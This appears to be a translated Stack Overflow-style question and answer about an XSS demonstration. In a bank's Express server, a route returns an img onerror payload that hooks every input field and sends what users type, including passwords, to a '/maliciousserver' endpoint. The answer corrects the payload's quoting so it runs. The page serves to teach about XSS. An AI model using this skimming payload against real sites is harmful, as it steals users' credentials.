express - 带有传递嵌入式 JS 的 Express 中的 res.json
问题描述
我正在做一个关于 XSS 攻击的演示文稿。在我的演示中,我的场景是一些银行员工以某种方式劫持并向银行快递服务器添加路由处理程序,以便他或她可以将银行客户输入的电子邮件和密码发送到他们自己的服务器。
这里的目标是向我的听众展示,当我输入电子邮件和密码时,他们应该能够看到我在 Chrome 控制台中输入的内容,但是我遇到了破坏 Express 服务器的语法错误。
我知道第一个应该有良好代码的路由器,基本上是银行的广告,res.json({})
只能这样:
app.get("/content/1/", (req, res) =>
res.json({ content: "Thinking about taking out a new loan? Call us today." })
);
但是,当使用恶意代码嵌入 HTML 元素时,它似乎不起作用,我不清楚这是否最适合,res.sendFile()
或者我只是不知道在代码中将反斜杠放在哪里,以免在添加服务器时破坏服务器的res.json({})
。
这是导致 Express 服务器崩溃的代码,它应该模仿坏人所做的事情:
app.get("/content/2/", (req, res) => {
res.json({ content: "<img src=\"\" onerror=\"document.querySelectorAll("input").forEach((el) => {
el.addEventListener("input", (event) => {
fetch(`/maliciousserver?value=${event.target.value}`);
});
});\" />"});
解决方案
这是一个逃避的事情,攻击者只会重写有效载荷,所以不需要解决"
's
IE。document.querySelectorAll('input').forEach(el => el.addEventListener('input', event => fetch('/maliciousserver?value='+event.target.value)))
所以传回去:
app.get("/content/2/", (req, res) => {
res.json({ content: "<img src=\"\" onerror=\"document.querySelectorAll('input').forEach(el => el.addEventListener('input', event => fetch('/maliciousserver?value='+event.target.value)))\" />"});
然后,您将需要不安全地放置content
在 dom 上,这是银行不会做的所有事情。
推荐阅读
- arrays - TypeScript - 验证数组映射中的项目
- vba - 使用 VBA 和 Foxit 合并 pdf 文件
- rust - 为什么要为 &File 和 &TcpStream 实现 Write trait?安全吗?
- javascript - 如何根据 Props 对对象数组进行排序
- python - 使用 Xpath 的 string() 函数,如何忽略特定的标签?
- python - 如何用标记制作折线图?
- ocr - tesseract:识别普通的多位数字
- php - guzzle和windows上的ssl证书问题
- c - 如何让树莓派 3b 从 ac 程序中使用 wps 连接到 wifi
- excel - 从 .txt 获取多个读数到 excel